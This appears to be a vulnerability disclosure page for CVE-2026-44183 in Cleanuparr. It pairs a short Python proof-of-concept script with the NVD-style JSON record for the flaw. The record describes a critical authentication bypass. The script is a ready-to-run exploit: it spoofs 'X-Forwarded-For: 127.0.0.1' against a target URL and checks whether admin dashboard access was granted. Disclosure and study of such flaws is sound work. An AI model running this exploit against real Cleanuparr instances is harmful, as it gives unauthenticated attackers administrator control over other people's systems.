CVE-2026-44183

import requests # Target URL of the vulnerable Cleanuparr instance target_url = "http://<target-ip>:<port>/" # The vulnerability relies on the application trusting the leftmost IP in the X-Forwarded-For header. # By spoofing a local IP, we bypass the trusted network authentication. headers = { "X-Forwarded-For": "127.0.0.1", "User-Agent": "PoC-Client/1.0" } try: print(f"Sending request to {target_url} with spoofed IP...") response = requests.get(target_url, headers=headers) # Check if we successfully accessed the admin interface or dashboard if response.status_code == 200 and ("dashboard" in response.text.lower() or "settings" in response.text.lower()): print("[+] Vulnerability exploited successfully! Admin access granted.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-44183", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:29.427", "lastModified": "2026-05-12T18:17:29.427", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleanuparr is a tool for automating the cleanup of unwanted or blocked files in Sonarr, Radarr, and supported download clients like qBittorrent. Prior to 2.9.10, TrustedNetworkAuthenticationHandler.ResolveClientIp parses the leftmost entry of the X-Forwarded-For header as the client IP. That entry is attacker-controlled — X-Forwarded-For is append-only, so the leftmost value is whatever the original HTTP client claimed. By sending a spoofed local IP in the header, an unauthenticated remote attacker passes the trusted-network check and is logged in as the Cleanuparr administrator. This vulnerability is fixed in 2.9.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}, {"lang": "en", "value": "CWE-348"}]}], "references": [{"url": "https://github.com/Cleanuparr/Cleanuparr/security/advisories/GHSA-8q44-v65j-jc3q", "source": "[email protected]"}]}}